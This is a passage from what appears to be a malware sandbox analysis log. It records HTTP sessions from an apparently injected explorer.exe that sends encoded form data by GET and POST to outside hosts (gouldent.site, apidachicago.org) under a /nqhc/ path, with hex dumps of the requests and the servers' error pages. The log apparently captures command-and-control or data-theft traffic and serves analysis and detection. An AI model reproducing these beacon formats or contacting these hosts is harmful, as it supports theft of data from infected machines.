75 62 72 4f 39 68 57 6c 64 6a 4d 4e 6c 41 7a 69 53 41 5a 7a 30 6e 63 71 33 4b 69 56 4e 48 6c 54 38 76 36 61 65 4c 4f 4d 56 6b 34 4f 71 53 6e 4b 65 37 5a 35 5a 6a 71 28 6b 51 71 42 46 64 39 6c 44 41 49 68 44 33 53 43 59 76 5f 52 45 74 57 4f 4a 7a 37 28 68 39 79 4a 6b 55 67 43 7a 30 47 36 66 37 53 41 68 7a 6e 62 45 39 77 72 35 65 2d 41 4e 6a 32 39 4d 50 4f 45 4e 69 6b 32 4c 42 66 32 7a 53 70 55 65 33 39 79 78 68 6d 65 45 30 76 72 47 6f 6b 74 75 57 30 61 57 49 66 55 31 4d 67 5a 39 4a 34 74 50 31 50 43 37 7e 42 55 6a 4b 36 63 52 75 34 47 68 48 47 46 34 65 52 30 33 5a 4e 59 61 77 6f 67 35 50 41 71 68 4e 67 6a 4e 4a 31 56 79 58 73 31 6a 4f 59 68 4a 33 6c 35 54 34 4b 78 53 76 48 46 48 7a 42 67 61 6a 49 66 48 47 42 43 66 31 6f 75 49 48 7a 50 49 7a 45 77 4e 63 6a 43 66 56 4a 46 46 77 44 49 54 5a 2d 4a 6b 57 52 4b 77 7e 56 77 6b 47 55 57 31 78 4f 65 55 53 2d 37 44 6c 33 47 72 39 33 68 44 49 5a 42 2d 37 68 6a 62 50 44 41 68 6f 63 72 6b 57 55 47 67 5a 38 33 68 33 71 6d 70 6d 45 66 59 44 37 6f 6a 71 41 41 63 77 45 61 59 68 4e 58 6f 62 64 44 64 6d 74 77 69 76 33 73 4d 77 79 48 31 62 63 63 6f 34 45 63 62 39 72 4c 48 69 53 48 48 78 6d 6a 32 6d 72 67 59 32 4e 30 75 54 51 73 42 53 64 72 4c 6c 57 65 38 42 4c 59 33 75 66 7a 4b 61 36 46 5a 64 6b 77 51 62 59 4d 53 48 6e 31 6c 71 4b 55 6e 6d 6f 38 4d 35 68 52 71 77 4c 63 4a 36 34 64 67 53 7a 33 33 6f 77 45 77 4f 64 64 51 68 42 4c 62 49 61 50 43 56 4f 56 54 37 Data Ascii: r4txB=4aNeThNKxkEEw20XVekfhBPRZW8A0RSIisiUdFuPkB8zL8UQk0xOxnLslI(yvvbr2_fJ3drQ9OkoIzEQ3KyP4dwo7nsnQ1AySTRawIg1lUWARX122ytfT2irTM3c6HNzQctoHKhHER8XzfDoD1bh1b8Vo0Nt4CE6mpgeMQaFKp8Qvjyp~M6ipGYxQCX4zh9HMdvuW3WPHRtgNxO6kC8f48SiyYNgWLuIZATCeIAK4BmhaZvyMHJ0ec4QGzBvj7wUtyABxPZaz0yqELS7TU2VHwWqa5h7s7xkkauf24J5g-RzukJOORNH079DBYEH0zv3JUs96F1Usd2_Gna9usKqlOBMlz2qTgyWHc7JBQF_i4FcJO6qpZsFrPibWR~-eUuucwOb8ZyLCktz0Nmup2ag2f4ts6LzEAiEq5CVpasAXw91uW(M(vxgf75nSdmo1k8uIXuHZAG4k3iBodAPiHAyysXVbSNaJ2cSTMzUAUIGF0bCspQU2mIkvwhr4GvvHRjq3uoRmbSMATDqxaxVKavbn24-YR9RIvh_(jACz9rlmjRSbapTQQBNwvDyz3m5~FEMo1ea5YvPsJKNLa0PdRhzReirci7NErt0zAr-qjmudE3LCfBACRSOSswMU2YaRqZe3eB4n4ln1f3fC_rtD6LK(tuoB_0aXuDvwtUsMfHfoDxM3O2khxD5oXCv0YE2Oq1AvewKDq9gAivx21qv5ukYBee_vRHVlb7VhnevO1qhFNZxANxCHJHifY2i1umoys0qOp9S2G8rx2MykLephkxMEd~0x1wnt3A614S3drgRxdMTii6ca_5URv(APWJI0TUYfV1iIc0W~7UPxtX-qX58TYvLEQjE4bvfPQRQLv~IEUgUSz5KVbAvrs2ubrO9hWldjMNlAziSAZz0ncq3KiVNHlT8v6aeLOMVk4OqSnKe7Z5Zjq(kQqBFd9lDAIhD3SCYv_REtWOJz7(h9yJkUgCz0G6f7SAhznbE9wr5e-ANj29MPOENik2LBf2zSpUe39yxhmeE0vrGoktuW0aWIfU1MgZ9J4tP1PC7~BUjK6cRu4GhHGF4eR03ZNYawog5PAqhNgjNJ1VyXs1jOYhJ3l5T4KxSvHFHzBgajIfHGBCf1ouIHzPIzEwNcjCfVJFFwDITZ-JkWRKw~VwkGUW1xOeUS-7Dl3Gr93hDIZB-7hjbPDAhocrkWUGgZ83h3qmpmEfYD7ojqAAcwEaYhNXobdDdmtwiv3sMwyH1bcco4Ecb9rLHiSHHxmj2mrgY2N0uTQsBSdrLlWe8BLY3ufzKa6FZdkwQbYMSHn1lqKUnmo8M5hRqwLcJ64dgSz33owEwOddQhBLbIaPCVOVT7DVadkeEaLtw9rs6pWsasZ8rqCmu35Okbs3Pa63SkOA6SS5_O_WryzAkw7LD8_G2~o~UNju48aOXVgkVQLTTfowIangsu1ljWsVd8-OpOgA1l3iIn3QU9zl1CHva8kZoAB5rkpoMYqBqmiCM2zdkT7OdRwP3di6I8V~AkjwoRtIQMz2fO8oHkWZnXrKSowikA3~U~0IpKEADpcdrdo6o0Uz7Dcsmvoe0PvkCIC9ISoNRfjzIY0f30WCMjzz99LStqdYG4-wLXPLrjioO93f6r-uzaYrl4JWXhPol00L-lOD0wsniNgV8GTtwHUeaZopLQvr414ujYBNmUphoq6NIEm7Fbv8DUPLpu5NTW_Y71KkyjLYEEPiy1JhiEOR8cI9Kv8IazTcXHmOEVtIGFKrYZY6v8FvgIWVFIYL53_mChxK5QfCv6Cwt5F0WGrUif2SVdpeCbPsu4j3Dmzz82mvmZgThORs64lcvWUpb(v7fEG12r-q5xekN0AGedx(rD_vd9QPafkemONulqcRrFWgbiLFJ8g80ZMVLWsg_(hkavUASzhjtkd8C9qEfyS(uWGrKqM24PA9oVmLZu4nv9z710PbYPrkt6SpaXjQ6cfSGWBTT2nKfR7hr3laXee2vCOn9ZePUasQscYurZWxG5PszfZVgTlU19N(vf5x5k-5mVaavLu46CHAjf4iFXtFuKoF-MExV0DZ3FRbjOaon6EcXG5YQM4LxpHIuXdsLPBly7tVmlKGXaVKgftlWWOSTQYihWml95YF-0_ZUB7chJg7KTmzfkuIXPhDxTPxBmIrV2ZnFOmFkszmw5CU1LY0YYaY27MVo0zd7P9zN6Bj8~CCaPOtLPRMVSH54uIxXYCMr5W1wB-vD8eK2i1UOfxhq7C6plvi1IrYBh4y1iRJU9YprAGpTmJSIuOkNS2c05b8PqpfemvqbGVcdKLoW3MldLZc3aOE2Iv9EEtEm8oTfjkt3AuDjygINjEO6vkryLn(4qPGuROESrCyi0bLWHuLNcT7R9lxVxVCw(B7sIlNADVbCdiumUEHvtmLgqCsKKaEcfTPXIl~SUnZnBXtPCYEFT4yoFNWRFxhALytCyD2dmidLUj5A6gAR7XAJvJsVx912ECq_lXJSkluGed56TqTHqZU0zwLpyk1uVySIdgHOFTOvKNYd7EqmuyGskErbcKbIL9qeTLGBfpSA3DrYtRrYxIbwb0LcLBItQzU9sNUGvCxWHYMJq8BPf5BdKn9aIewYu33qN19NnI7PavKNHw9UNbqL5Vd5C4fhs6k43q2-qz9296gC4TvKYuC-Scgmu0K8CfhKIw2Kz9y0tnXON87sh1P7(JBOeqWhywHaHtj0LepkL07soWdhSBGfNH4RJdG211gVrJIJLAph8W6WCqCTjLHyfEhAIRshcWtt32W9H94xFwLK6L51LS0kSnKf6Mcop4oym3XClYE6SZI3A4tWfkOTZFjmG-Iyz00Ogs0V0t5EfaT1XYg1VnZ5SEUtk6CaYV3oG2tHCcuuolHxLUGjeFrSo-0oHDwrpPmc2cJOBKqWfvCIPDR4nt(66NxYnINfL1rnAAoH0aJkAxOJG_~cADF69LZvnYkTRHDoir5q0N6KRswtv7zkY0hyzqWAt6VtddxIFwmTLp7h5CCWKTS1tOF-~NMzvOPwFgSQD6~nvYAtoxAB0rd6GM1pgfVB(gNrbW9dC7hEGxIByQoaAUtCvBvOlEDRBC(bKWks~umS4yOEjnhGr8f1Du4AvDw3CgIGCManj3N5E-9lUJf-QPk4dHfnbfEFyFV2uXK34c9QmBM5opuA2WtlsyyZLGqtKxjm~Bx1DZ4FbKvUbANGoFNPMpnZBMa_rU7229IwCLvrkYrvrICzwUqUObRxCm0JUwZOLMopFDLsf-U8XG2pYxT1tdHz8f2Fnt(pNlbSV9s-QQRMVz3IDX3PvysAjGYna4aSZtltDTlsV-ygBScBjKFn9gEQnuDyhyiKXXDoxcuIXtc6j_sH6rHowZsQIFbjhGbhLT6pYMY3CuoGyF667ie1Vpa8OAkcUs4AiZz7HZYFq5xLUcFs0mleM15TpIw0mXbNAAWVMxtvOh9
Nov 21, 2022 19:22:04.492257118 CET	971	OUT	Data Raw: 51 39 62 66 6d 61 53 71 6a 63 47 65 65 7a 59 4b 50 73 51 31 5a 4c 51 7a 50 70 68 6e 41 34 79 76 78 52 65 39 39 65 6a 4b 4a 67 37 67 33 6e 41 48 68 4d 66 50 34 72 44 41 58 46 41 51 52 67 76 41 30 50 74 57 69 46 44 69 4d 31 32 46 34 6c 39 73 52 57 Data Ascii: Q9bfmaSqjcGeezYKPsQ1ZLQzPphnA4yvxRe99ejKJg7g3nAHhMfP4rDAXFAQRgvA0PtWiFDiM12F4l9sRW4I54LmGqRavtXz8beI11Dw9jUZhsrgzKaziK1EIpBrJLqCIFQvbHXOrnbYLSkQrQbwn4aIwFcDqN_~NgPVyn8bKs9PKv90LyIgKD5ItOInaBVw_tyzIfOttqOl8sR7yI5C8dzWK~F~U4oyKZE9KFk87dkOeX7R2yE
Nov 21, 2022 19:22:04.659965992 CET	973	OUT	Data Raw: 61 74 61 42 50 78 59 32 79 30 4d 78 49 45 52 44 65 41 59 52 32 78 32 52 5f 38 74 75 35 70 78 76 59 58 6b 6d 73 68 4a 66 72 52 71 68 41 31 53 4c 66 71 36 43 37 4d 41 37 64 62 64 45 42 58 5f 50 43 37 69 63 72 36 33 72 61 4c 65 63 4c 36 53 53 59 78 Data Ascii: ataBPxY2y0MxIERDeAYR2x2R_8tu5pxvYXkmshJfrRqhA1SLfq6C7MA7dbdEBX_PC7icr63raLecL6SSYxS5Hqlci95Gn~jLWxtAE(EMHq1M_HR881kl2e3BVxwR2uZUhHSndGp1AYKQ0QEGqtJokCudNh7~np-rR6kHkG_asDF~fr3dhHG5OfpOZo5sIX530H5zYOraBPL6ks0vHDofO6axH36LCdQKpUfcGNQnW~Teb9_8zX6
Nov 21, 2022 19:22:04.660300016 CET	981	OUT	Data Raw: 35 30 37 6c 46 4c 46 50 76 71 57 37 34 56 71 4e 32 78 6c 7a 41 4a 50 4a 6f 31 31 33 6a 68 51 75 6d 7a 55 68 59 46 5a 69 62 6c 71 67 52 48 73 71 6e 71 69 57 39 49 62 4c 6a 59 6c 67 39 66 33 39 4d 44 6e 38 65 6d 6b 7a 56 64 2d 72 79 34 51 58 47 37 Data Ascii: 507lFLFPvqW74VqN2xlzAJPJo113jhQumzUhYFZiblqgRHsqnqiW9IbLjYlg9f39MDn8emkzVd-ry4QXG7mlPcxWQ~KfYB030(LWerrelPOsCK7aSltel0pbpZzTbrDDhSGeJSUk3mksC~On7g7uZ9Zeu5BI1laYRhyI0C9i3r8pneK6V0a8DhBhE24ofurUd4N5IBpQroaLEAixB~YMy2RMTkEl3uidhPxKJBeedDC3jVCZJ6U
Nov 21, 2022 19:22:04.660435915 CET	994	OUT	Data Raw: 31 51 77 52 32 41 65 4c 43 4e 32 69 31 50 4c 72 69 33 78 32 31 55 79 50 74 4a 65 49 58 49 76 79 5a 34 61 36 57 76 71 74 37 65 53 7e 4c 37 4f 69 35 64 78 7a 42 31 52 59 48 39 51 43 79 70 48 7a 44 41 71 62 32 32 6e 54 6e 58 6e 34 4b 59 2d 63 4c 54 Data Ascii: 1QwR2AeLCN2i1PLri3x21UyPtJeIXIvyZ4a6Wvqt7eS~L7Oi5dxzB1RYH9QCypHzDAqb22nTnXn4KY-cLTCtFdQ9Tz0xnZd(_U8bQSLGk98RKu4KdiKbw2SEF8kRfpopM2ag2axv-9_beF1BMBLik2MPEs02Uc-FQBCgRpS0RC3fxRdsZRYMWZsX4Cwhj5X1RvrJU65OOmv2QDyJVeJxcwwHoPeUeaHGvwvOgauDhlyibWcuQ7K
Nov 21, 2022 19:22:04.660512924 CET	996	OUT	Data Raw: 4b 55 66 61 4a 68 69 6c 35 4a 46 4f 36 57 59 7e 4f 68 33 45 52 7a 39 48 73 34 52 7a 74 42 71 51 30 53 57 43 42 64 4c 55 52 58 6b 65 6e 6c 6a 72 67 71 71 74 7a 43 76 37 4c 53 57 6f 55 34 4c 51 35 73 4e 6b 62 5a 56 6d 48 69 46 37 72 4c 6d 6e 6f 74 Data Ascii: KUfaJhil5JFO6WY~Oh3ERz9Hs4RztBqQ0SWCBdLURXkenljrgqqtzCv7LSWoU4LQ5sNkbZVmHiF7rLmnotmDAaSeM8spYvaCXl3wQAHW2EOynVxNIJqCpcLlvzi702EfTGrtMtLp4NaXQjKLGTVDO5fitMW~qR0TEzsHEE5w7MY2xRYn53iVoz8ThpsfwthlKdh1We1riYbaoY8PfSzntzD0ELQoWtPOvbW5yeReDZVI2w_h75G
Nov 21, 2022 19:22:04.826630116 CET	998	OUT	Data Raw: 5f 71 6b 28 74 6f 6e 31 42 64 4c 43 78 51 6d 6e 4f 61 34 6d 2d 74 4d 66 31 6c 6a 6f 6f 46 77 68 51 6a 74 4f 4b 37 39 4a 30 51 61 36 48 4c 4c 64 42 54 6d 36 5a 6f 70 66 33 64 31 65 51 71 6b 68 57 4e 44 59 54 4f 48 54 67 49 2d 28 62 44 74 4f 34 71 Data Ascii: _qk(ton1BdLCxQmnOa4m-tMf1ljooFwhQjtOK79J0Qa6HLLdBTm6Zopf3d1eQqkhWNDYTOHTgI-(bDtO4qf1kO1DchNfVK2lyL1lVeLTALQqaRuvZ57fLxMzy0aawAlX1Twm4otE6mncRFgGKWlJ_QoumHqMbhBY6iHuSRXlvqp7XQ4lNMr3GR653uB(3uDjz1qafu144Ja4Aplx9BeTKYcA8GF(RWqchgVKKL-EIOlQXc47fsn
Nov 21, 2022 19:22:04.826812983 CET	1008	OUT	Data Raw: 52 4f 56 78 61 58 4a 32 43 4d 73 4c 6a 32 79 58 4e 41 38 6d 36 4e 47 52 4a 48 66 49 33 45 36 7a 75 52 33 47 6b 76 78 68 76 71 4d 4d 42 61 53 62 73 51 48 7a 78 35 39 59 36 4d 54 72 66 57 36 44 7a 47 4d 70 54 44 52 4d 66 73 38 7e 35 74 7a 30 6a 4b Data Ascii: ROVxaXJ2CMsLj2yXNA8m6NGRJHfI3E6zuR3GkvxhvqMMBaSbsQHzx59Y6MTrfW6DzGMpTDRMfs8~5tz0jKa(9(6VOUvhNIUptx906HjmuEsi-lISbQzSnYrep6One0sqjv9WONNlTAksUoEWyMPO-eBjfSfk4XZaF3WWAw6rd8LVMDa8N6BPg~tCA~xFy5DiQyc96CAuDaWnq7uomfTzlaAj6RFlKIhhpDH(BioleKw9mflVfqN
Nov 21, 2022 19:22:04.826931953 CET	1010	OUT	Data Raw: 62 30 54 30 51 39 68 68 68 68 47 6d 62 45 57 63 6d 64 36 4b 32 32 68 68 79 76 36 68 37 6a 41 42 56 41 77 33 6d 65 53 32 63 36 67 4b 4c 53 41 47 76 4c 54 54 63 71 62 30 46 47 75 4c 35 48 55 53 47 41 68 73 59 35 33 45 33 74 5f 4f 48 57 33 49 6c 67 Data Ascii: b0T0Q9hhhhGmbEWcmd6K22hhyv6h7jABVAw3meS2c6gKLSAGvLTTcqb0FGuL5HUSGAhsY53E3t_OHW3Ilgs(OBL6S5F4J9kzGq0k77c64ZE9Hneh30M(nivKiHj0AhzQ8B1okbpLqob22RBztIi(qMaYUYrM7aSjr3bfQOl33020TqKQu~DHZjF(_XiDFq6qtNq4NhkP0UgTgV7gDNJqM9ztwghkrs50BwwN-jPs7WJr2q80fBf
Nov 21, 2022 19:22:05.127295017 CET	1012	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:22:04 GMT Server: Apache Content-Length: 570 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.11.20	49859	66.29.151.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:06.681900024 CET	1012	OUT	GET /nqhc/?r4txB=1Yl+QUBI4kgCsXI3Vp53kl3xa1s40hGy3/rGU37TkiIZHr5R+30vzUqate7I4LnPvrrd2ZP58ux1HT0e4Ni8o787tXF+UCoQAg==&1b=S8jD HTTP/1.1 Host: www.gouldent.site Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:22:06.958236933 CET	1013	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:22:06 GMT Server: Apache Content-Length: 570 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.11.20	49860	194.245.148.189	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:12.201611042 CET	1014	OUT	POST /nqhc/ HTTP/1.1 Host: www.apidachicago.org Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.apidachicago.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.apidachicago.org/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 33 39 34 78 30 70 64 78 41 5f 36 31 65 67 54 47 30 4d 45 44 41 43 43 76 73 4d 7a 66 36 6e 52 73 49 4a 6b 78 7a 38 66 47 78 4d 6f 44 71 39 63 65 6f 4f 66 64 63 67 54 77 7a 68 70 35 42 46 31 6b 43 55 6a 63 30 6c 70 44 48 4d 51 4c 79 68 39 71 39 32 53 31 4a 4d 59 62 44 72 28 67 50 6c 31 67 64 5f 56 7a 4a 34 4d 51 6d 71 69 6b 7a 33 6f 44 36 69 37 4e 6f 62 36 54 62 2d 6f 70 36 53 52 5a 6c 74 75 78 47 57 52 7a 78 6f 79 69 6c 4f 5a 6c 74 37 77 67 50 2d 64 4a 37 52 49 52 46 45 4a 6a 51 30 67 52 4c 36 4f 2d 73 49 5a 32 39 5f 6d 46 7e 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=394x0pdxA_61egTG0MEDACCvsMzf6nRsIJkxz8fGxMoDq9ceoOfdcgTwzhp5BF1kCUjc0lpDHMQLyh9q92S1JMYbDr(gPl1gd_VzJ4MQmqikz3oD6i7Nob6Tb-op6SRZltuxGWRzxoyilOZlt7wgP-dJ7RIRFEJjQ0gRL6O-sIZ29_mF~w).
Nov 21, 2022 19:22:12.220195055 CET	1015	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 21 Nov 2022 18:22:12 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close
Nov 21, 2022 19:22:12.220256090 CET	1015	IN	Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 Data Ascii: 92<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Nov 21, 2022 19:22:12.220271111 CET	1015	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.11.20	49861	194.245.148.189	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:14.248290062 CET	1016	OUT	POST /nqhc/ HTTP/1.1 Host: www.apidachicago.org Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.apidachicago.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.apidachicago.org/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 33 39 34 78 30 70 64 78 41 5f 36 31 64 41 6a 47 34 4e 45 44 42 69 43 6f 70 4d 7a 66 31 48 52 53 49 4a 59 78 7a 34 48 57 6b 75 38 44 72 63 73 65 70 4d 33 64 52 41 54 77 38 42 70 38 4d 6c 31 56 43 55 76 2d 30 67 52 44 48 4d 55 4c 67 44 31 71 74 57 53 71 64 38 59 61 55 62 28 68 4c 6c 31 71 64 5f 49 53 4a 34 6f 51 6d 37 4f 6b 79 30 41 44 72 44 36 62 7e 4c 36 76 64 2d 6f 71 73 69 52 58 6c 74 53 54 47 55 41 4d 77 61 75 69 6c 75 35 6c 28 4c 77 6a 56 2d 64 4f 6d 68 4a 43 4f 56 49 36 66 69 55 74 4c 6f 47 38 6b 70 78 67 77 4d 37 62 38 78 50 6e 51 6f 7e 52 6d 79 74 73 6c 54 71 37 39 5f 6f 42 41 32 4b 36 66 44 56 38 48 65 6d 64 34 45 74 72 7a 4b 37 72 30 62 74 4f 7a 43 35 59 61 43 4b 52 46 30 45 4c 67 73 36 7a 45 30 64 53 70 58 6b 33 67 44 6e 6d 74 43 4c 41 4e 5f 31 6b 46 53 77 6d 42 49 4e 65 71 38 47 6b 77 62 39 45 73 75 79 61 4c 7a 49 57 61 34 68 79 58 63 61 2d 39 5f 65 57 71 33 58 71 6f 4b 4a 4b 38 75 72 73 70 6c 32 72 74 2d 50 4c 42 54 53 6d 44 4b 34 33 52 30 77 4b 37 52 38 75 4a 67 79 41 48 4f 70 56 4e 5f 6e 77 6d 6f 50 50 79 41 45 64 72 79 62 5f 28 66 37 73 61 69 6a 6a 4c 45 50 4a 7e 57 61 65 58 75 46 73 41 50 35 52 46 68 53 39 33 5f 58 37 50 72 72 49 61 53 35 50 79 5a 48 4e 38 7a 45 43 70 38 38 36 53 37 41 37 5a 6a 43 5a 61 32 59 4a 46 61 5a 36 51 36 7e 31 66 32 66 59 7a 35 64 6d 35 4d 39 45 44 65 7a 66 37 72 71 4a 6f 41 78 69 50 58 67 4e 63 61 55 76 7a 48 32 52 7a 77 58 57 63 52 6e 53 6b 62 53 7a 36 5f 56 74 57 39 7e 56 6b 7a 35 49 46 48 74 4f 70 37 55 36 4f 44 5a 66 4e 46 64 33 37 5f 6e 67 38 49 62 45 31 42 30 4a 43 62 37 48 6b 32 45 2e 00 00 00 00 00 00 00 00 Data Ascii: 